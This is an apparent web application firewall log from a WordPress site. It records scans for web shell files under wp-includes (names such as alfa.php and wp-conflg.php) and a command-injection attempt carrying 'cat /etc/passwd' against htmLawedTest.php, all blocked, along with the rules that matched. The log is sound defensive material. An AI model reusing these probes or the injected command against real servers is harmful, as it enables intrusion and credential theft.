[Thu Nov 20 21:44:31.716647 2025] [:error] [pid 40508:tid 40517] [client 185.223.152.5:43015] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/query-pagination-previous/about.php"] [unique_id "aR8bP6xXNVCMW_ksxPvhRAAAAoc"]
[Thu Nov 20 21:44:32.365314 2025] [:error] [pid 40636:tid 40654] [client 185.223.152.216:35747] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/shortcode/index.php"] [unique_id "aR8bQAK8BWUoW3xq0HAtfAAAA44"]
[Thu Nov 20 21:44:33.012931 2025] [:error] [pid 40508:tid 40534] [client 185.223.152.224:25355] [client 185.223.152.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/site-logo/about.php"] [unique_id "aR8bQaxXNVCMW_ksxPvhRwAAApg"]
[Thu Nov 20 21:44:33.667770 2025] [:error] [pid 40636:tid 40653] [client 185.223.152.211:61765] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/site-tagline/"] [unique_id "aR8bQQK8BWUoW3xq0HAtfgAAA40"]
[Thu Nov 20 21:44:34.315092 2025] [:error] [pid 40508:tid 40518] [client 185.223.152.213:22965] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/social-links/"] [unique_id "aR8bQqxXNVCMW_ksxPvhSgAAAog"]
[Thu Nov 20 21:44:34.962796 2025] [:error] [pid 55342:tid 55374] [client 185.223.152.210:44669] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/spacer/about.php"] [unique_id "aR8bQrg6x32Tvk7fIG8D4AAAAEI"]
[Thu Nov 20 21:44:35.609500 2025] [:error] [pid 40415:tid 40425] [client 185.223.152.211:36535] [client 185.223.152.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/index.php"] [unique_id "aR8bQ6hjIyLSv09svwPRXgAAAcc"]
[Thu Nov 20 21:44:36.261111 2025] [:error] [pid 40508:tid 40519] [client 185.223.152.218:26821] [client 185.223.152.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/tag-cloud/about.php"] [unique_id "aR8bRKxXNVCMW_ksxPvhSwAAAok"]
[Thu Nov 20 21:44:36.907730 2025] [:error] [pid 40537:tid 40544] [client 185.223.152.217:23049] [client 185.223.152.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/verse/about.php"] [unique_id "aR8bRKKlsL5kxTa3c1wBTAAAAsM"]
[Thu Nov 20 21:44:37.555203 2025] [:error] [pid 40508:tid 40526] [client 185.223.152.210:53453] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/video/hexa.php"] [unique_id "aR8bRaxXNVCMW_ksxPvhTgAAApA"]
[Thu Nov 20 21:44:38.208954 2025] [:error] [pid 40508:tid 40534] [client 185.223.152.5:31181] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/plugin.php"] [unique_id "aR8bRqxXNVCMW_ksxPvhTwAAApg"]
[Thu Nov 20 21:44:38.856755 2025] [:error] [pid 40636:tid 40663] [client 185.223.152.216:33391] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-image-editor-gd-pic.php"] [unique_id "aR8bRgK8BWUoW3xq0HAtfwAAA5c"]
[Thu Nov 20 21:44:39.505319 2025] [:error] [pid 40445:tid 40475] [client 185.223.152.209:24517] [client 185.223.152.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aR8bR1H-MuFcoWRjXpaZiQAAAkA"]
[Thu Nov 20 21:44:40.153655 2025] [:error] [pid 40508:tid 40516] [client 185.223.152.204:49885] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aR8bSKxXNVCMW_ksxPvhUAAAAoY"]
[Thu Nov 20 21:44:40.825704 2025] [:error] [pid 34405:tid 34413] [client 185.223.152.219:42711] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/commands/about.php"] [unique_id "aR8bSDFpvu8oRK7ATftBtQAAAQY"]
[Thu Nov 20 21:44:41.472051 2025] [:error] [pid 40508:tid 40513] [client 185.223.152.206:39863] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-site/about.php"] [unique_id "aR8bSaxXNVCMW_ksxPvhUgAAAoM"]
[Thu Nov 20 21:44:42.118334 2025] [:error] [pid 40508:tid 40525] [client 185.223.152.219:54975] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/index.php"] [unique_id "aR8bSqxXNVCMW_ksxPvhVAAAAo8"]
[Thu Nov 20 21:44:42.773891 2025] [:error] [pid 40636:tid 40662] [client 185.223.152.212:23947] [client 185.223.152.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/list-reusable-blocks/index.php"] [unique_id "aR8bSgK8BWUoW3xq0HAtgQAAA5Y"]
[Thu Nov 20 21:44:43.420697 2025] [:error] [pid 40415:tid 40432] [client 185.223.152.6:22665] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/wp-conflg.php"] [unique_id "aR8bS6hjIyLSv09svwPRXwAAAc4"]
[Thu Nov 20 21:44:44.071906 2025] [:error] [pid 55430:tid 55445] [client 185.223.152.8:51649] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/autoload_classmap.php"] [unique_id "aR8bTPPZXaIMEU4pE7shnAAAAMw"]
[Thu Nov 20 21:44:44.721053 2025] [:error] [pid 40537:tid 40543] [client 185.223.152.6:52891] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aR8bTKKlsL5kxTa3c1wBVgAAAsI"]
[Thu Nov 20 21:44:45.367331 2025] [:error] [pid 40636:tid 40661] [client 185.223.152.8:45441] [client 185.223.152.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/wp-conflg.php"] [unique_id "aR8bTQK8BWUoW3xq0HAthQAAA5U"]
[Thu Nov 20 21:44:46.025784 2025] [:error] [pid 40636:tid 40664] [client 185.223.152.204:61465] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/option.php"] [unique_id "aR8bTgK8BWUoW3xq0HAtiAAAA5g"]
[Thu Nov 20 21:44:46.674439 2025] [:error] [pid 40508:tid 40524] [client 185.223.152.6:24507] [client 185.223.152.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aR8bTqxXNVCMW_ksxPvhVwAAAo4"]
[Thu Nov 20 21:44:47.323928 2025] [:error] [pid 40537:tid 40565] [client 185.223.152.210:27537] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/wrvpmsi/about.php"] [unique_id "aR8bT6KlsL5kxTa3c1wBWwAAAtg"]
[Thu Nov 20 21:44:47.990049 2025] [:error] [pid 55430:tid 55449] [client 185.223.152.206:45525] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aR8bT_PZXaIMEU4pE7shnQAAANA"]
[Thu Nov 20 21:44:48.638662 2025] [:error] [pid 55430:tid 55443] [client 185.223.152.220:47757] [client 185.223.152.220] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aR8bUPPZXaIMEU4pE7shngAAAMo"]
[Thu Nov 20 21:44:49.288032 2025] [:error] [pid 55342:tid 55394] [client 185.223.152.226:49301] [client 185.223.152.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/autoload_classmap.php"] [unique_id "aR8bUbg6x32Tvk7fIG8D4gAAAFY"]
[Thu Nov 20 21:44:49.939838 2025] [:error] [pid 55343:tid 55417] [client 185.223.152.5:30039] [client 185.223.152.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/autoload_classmap.php"] [unique_id "aR8bUVWlO3EnyVMV7w7SygAAAJI"]
[Thu Nov 20 21:44:50.589165 2025] [:error] [pid 55342:tid 55392] [client 185.223.152.220:38081] [client 185.223.152.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/about.php"] [unique_id "aR8bUrg6x32Tvk7fIG8D4wAAAFQ"]
[Thu Nov 20 21:44:51.272921 2025] [:error] [pid 34405:tid 34417] [client 185.223.152.227:33127] [client 185.223.152.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/development/"] [unique_id "aR8bUzFpvu8oRK7ATftBwAAAAQo"]
[Thu Nov 20 21:44:51.921519 2025] [:error] [pid 55343:tid 55401] [client 185.223.152.207:31313] [client 185.223.152.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/query/index.php"] [unique_id "aR8bU1WlO3EnyVMV7w7SzAAAAII"]
[Thu Nov 20 21:44:52.568486 2025] [:error] [pid 40415:tid 40442] [client 185.223.152.226:51797] [client 185.223.152.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/imgareaselect/index.php"] [unique_id "aR8bVKhjIyLSv09svwPRYgAAAdg"]
[Thu Nov 20 21:44:53.228793 2025] [:error] [pid 55342:tid 55396] [client 185.223.152.7:41035] [client 185.223.152.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aR8bVbg6x32Tvk7fIG8D6QAAAFg"]
[Thu Nov 20 21:44:53.878273 2025] [:error] [pid 40537:tid 40560] [client 185.223.152.214:51703] [client 185.223.152.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/mediaelement/admin.php"] [unique_id "aR8bVaKlsL5kxTa3c1wBaQAAAtM"]
[Thu Nov 20 21:44:54.529839 2025] [:error] [pid 55430:tid 55433] [client 185.223.152.223:41689] [client 185.223.152.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/mediaelement/renderers/about.php"] [unique_id "aR8bVvPZXaIMEU4pE7shoQAAAMA"]
[Thu Nov 20 21:44:55.186709 2025] [:error] [pid 55340:tid 55350] [client 185.223.152.219:56347] [client 185.223.152.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/thickbox/index.php"] [unique_id "aR8bV_OxD-NeMydTybC_qAAAAAU"]
[Thu Nov 20 21:44:55.840110 2025] [:error] [pid 55342:tid 55374] [client 185.223.152.210:57333] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/chosen.php"] [unique_id "aR8bV7g6x32Tvk7fIG8D7AAAAEI"]
[Thu Nov 20 21:44:56.501490 2025] [:error] [pid 34405:tid 34426] [client 185.223.152.221:53389] [client 185.223.152.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/link-template-variable.php"] [unique_id "aR8bWDFpvu8oRK7ATftBzgAAARM"]
[Thu Nov 20 21:44:57.153611 2025] [:error] [pid 34405:tid 34409] [client 185.223.152.204:20885] [client 185.223.152.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/php-compat/wp-conflg.php"] [unique_id "aR8bWTFpvu8oRK7ATftBzwAAAQI"]
[Thu Nov 20 21:44:57.800580 2025] [:error] [pid 40445:tid 40480] [client 185.223.152.206:57147] [client 185.223.152.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aR8bWVH-MuFcoWRjXpaZmQAAAkU"]
[Thu Nov 20 21:44:58.466878 2025] [:error] [pid 55343:tid 55414] [client 185.223.152.210:39907] [client 185.223.152.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aR8bWlWlO3EnyVMV7w7S0AAAAI8"]
[Thu Nov 20 21:44:59.114442 2025] [:error] [pid 55343:tid 55408] [client 185.223.152.225:61411] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/wp-conflg.php"] [unique_id "aR8bW1WlO3EnyVMV7w7S0gAAAIk"]
[Thu Nov 20 21:44:59.766818 2025] [:error] [pid 40508:tid 40528] [client 185.223.152.208:55635] [client 185.223.152.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aR8bW6xXNVCMW_ksxPvhWwAAApI"]
[Thu Nov 20 21:45:00.426351 2025] [:error] [pid 55340:tid 55353] [client 185.223.152.207:26175] [client 185.223.152.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/alfa.php"] [unique_id "aR8bXPOxD-NeMydTybC_rwAAAAg"]
[Thu Nov 20 21:45:01.213618 2025] [:error] [pid 40508:tid 40513] [client 185.223.152.213:40121] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aR8bXaxXNVCMW_ksxPvhXQAAAoM"]
[Thu Nov 20 21:45:01.876676 2025] [:error] [pid 40636:tid 40644] [client 185.223.152.213:55529] [client 185.223.152.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-login.php"] [unique_id "aR8bXQK8BWUoW3xq0HAtmQAAA4Q"]
[Thu Nov 20 21:45:02.559492 2025] [:error] [pid 40537:tid 40544] [client 185.223.152.216:64581] [client 185.223.152.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/xax.php"] [unique_id "aR8bXqKlsL5kxTa3c1wBbQAAAsM"]
[Thu Nov 20 21:45:03.208394 2025] [:error] [pid 55343:tid 55417] [client 185.223.152.225:34217] [client 185.223.152.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/xax.php"] [unique_id "aR8bX1WlO3EnyVMV7w7S1AAAAJI"]
[Thu Nov 20 21:49:31.632591 2025] [:error] [pid 55340:tid 55354] [client 144.48.39.84:49428] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "etc/passwd" at ARGS:text. [file "/usr/local/apache/modsecurity-cwaf/rules/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: etc/passwd found within ARGS:text: cat /etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "windfarmcoolants.com.au"] [uri "/vendor/htmlawed/htmlawed/htmLawedTest.php"] [unique_id "aR8ca_OxD-NeMydTybDAXwAAAAk"]
